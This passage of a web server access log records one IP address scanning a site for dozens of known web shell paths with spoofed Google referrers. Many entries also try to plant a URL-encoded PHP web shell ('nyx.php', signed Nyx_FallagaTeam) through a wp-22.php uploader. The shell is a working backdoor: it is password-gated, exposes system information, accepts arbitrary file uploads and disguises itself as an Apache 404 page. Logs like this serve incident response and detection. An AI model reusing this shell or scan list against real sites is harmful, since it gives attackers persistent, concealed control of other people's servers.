%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:43 +0530] "GET /style.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:45 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:45 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:45 +0530] "GET /owl.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:46 +0530] "GET /wp-includes/.wp-back.phP HTTP/1.1" 302 244 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:48 +0530] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 302 259 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:48 +0530] "GET /olux.php HTTP/1.1" 302 228 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:48 +0530] "GET /wp-content/uploads/wp-conflg.php HTTP/1.1" 302 252 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:50 +0530] "GET /wp-content/uploads/2021/12/fw.php HTTP/1.1" 302 253 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:50 +0530] "GET /administrator/templates/bluestork/error.php HTTP/1.1" 302 263 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:50 +0530] "GET /uploads/contexmini.php HTTP/1.1" 302 242 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:50 +0530] "GET /error.php?phpshells HTTP/1.1" 302 239 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:50 +0530] "GET /y.php HTTP/1.1" 302 225 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:50 +0530] "GET /indoxploit.php HTTP/1.1" 302 234 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:50 +0530] "GET /images/xxxxxxxxxxxxxxxxxxxxxxxxxxxx.php HTTP/1.1" 302 259 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:50 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:50 +0530] "GET /wp-admin/network/wp-footer.php HTTP/1.1" 302 250 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:50 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:50 +0530] "GET /wp-admin/css/colors/coffee/fw.php HTTP/1.1" 302 253 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:50 +0530] "GET /wp-content/plugins/wolf-shell.php HTTP/1.1" 302 253 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:50 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:50 +0530] "GET /wp-configer.php HTTP/1.1" 302 235 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:50 +0530] "GET /wp-admin/x.php HTTP/1.1" 302 234 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:50 +0530] "GET /templates/atomic/index.php HTTP/1.1" 302 246 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:50 +0530] "GET /images/403.php HTTP/1.1" 302 234 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:50 +0530] "GET /xmrlpc.php HTTP/1.1" 302 230 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:50 +0530] "GET /contacts.php HTTP/1.1" 302 232 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:50 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:50 +0530] "GET /templates/+theme+/index.php HTTP/1.1" 302 247 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:50 +0530] "GET /media-admin.php HTTP/1.1" 302 235 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:50 +0530] "GET /error.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:51 +0530] "GET /wp-includes/images/wlw/local1.php HTTP/1.1" 302 253 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:51 +0530] "GET /uploads/l.php HTTP/1.1" 302 233 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:52 +0530] "GET /administrator/templates/hathor/index.php HTTP/1.1" 302 260 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:52 +0530] "GET /sym.php HTTP/1.1" 302 227 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:53 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:47:55 +0530] "GET /wp-admin/includes/fw.php HTTP/1.1" 302 244 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:57 +0530] "GET /wp-admin/images/Mhbgf.php HTTP/1.1" 302 245 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:59 +0530] "GET /wp-includes/css/css.php HTTP/1.1" 302 243 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:47:59 +0530] "GET /wp-admin/css/media.php HTTP/1.1" 302 242 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:00 +0530] "GET /wp-admin/css/autoload_classmap.php HTTP/1.1" 302 254 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:01 +0530] "GET /images/vuln.php HTTP/1.1" 302 235 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:02 +0530] "GET /wp-22.php?sfilename=nyx.php&sfilecontent=%3C?php%20%0D%0Aerror_reporting(E_ERROR%20%7C%20E_PARSE);%0D%0Aif%20($_GET%5B%22pass%22%5D%20==%20%22nyxfallagatn%22)%7B%0D%0Aecho%20%22%3Cb%3ENyx_FallagaTeam%3C/b%3E%3Cbr%3E%22;%0D%0Aecho%20'%3Cb%3ESystem%20Info:%3C/b%3E%20'.php_uname();%0D%0Aecho%20'%3Cform%20action=%22%22%20method=%22post%22%20enctype=%22multipart/form-data%22%20name=%22uploader%22%20id=%22uploader%22%3E';%0D%0Aecho%20'%3Cinput%20type=%22file%22%20name=%22file%22%20size=%2250%22%3E%3Cinput%20name=%22_upl%22%20type=%22submit%22%20id=%22_upl%22%20value=%22Upload%22%3E%3C/form%3E';%0D%0Aif(%20$_POST%5B'_upl'%5D%20==%20%22Upload%22%20)%20%7B%0D%0Aif(@copy($_FILES%5B'file'%5D%5B'tmp_name'%5D,%20$_FILES%5B'file'%5D%5B'name'%5D))%20%7B%0D%0Aecho%20'%3Cb%3ESuccess!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%0D%0A%7Delse%20%7B%20echo%20'Failed!%3C/b%3E%3Cbr%3E%3Cbr%3E';%20%7D%7D%0D%0A%7Delse%7B%0D%0A$domain%20=%20$_SERVER%5B'SERVER_NAME'%5D;%0D%0Aecho'%3Chtml%3E%3Chead%3E%0D%0A%3Ctitle%3E404%20Not%20Found%3C/title%3E%0D%0A%3C/head%3E%3Cbody%3E%0D%0A%3Ch1%3ENot%20Found%3C/h1%3E%0D%0A%3Cp%3EThe%20requested%20URL%20was%20not%20found%20on%20this%20server.%3C/p%3E%0D%0A%3Chr%3E%0D%0A%3Caddress%3EApache/2.4.38%20(Ubuntu)%20Server%20at%20'.$domain.'%20Port%20443%3C/address%3E%0D%0A%3C/body%3E%3C/html%3E';%7D%0D%0A?%3E%0D%0A&supfiles=nyx.php&User-Agent=Mozilla%2F5.0+%28Windows+NT+10.0%3B+Win64%3B+x64%29+AppleWebKit%2F537.36+%28KHTML%2C+like+Gecko%29+Chrome%2F108.0.0.0+Safari%2F537.36 HTTP/1.1" 302 1719 "-" "python-requests/2.32.3" 170.39.194.53 - - [19/Jan/2025:18:48:02 +0530] "GET /wp-content/themes/twentytwenty/content-index.php HTTP/1.1" 302 268 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:03 +0530] "GET /wp-includes/class-wp-block-list.php HTTP/1.1" 302 255 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:04 +0530] "GET /small.php HTTP/1.1" 302 229 "www.google.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36" 170.39.194.53 - - [19/Jan/2025:18:48:06 +0530] "GET 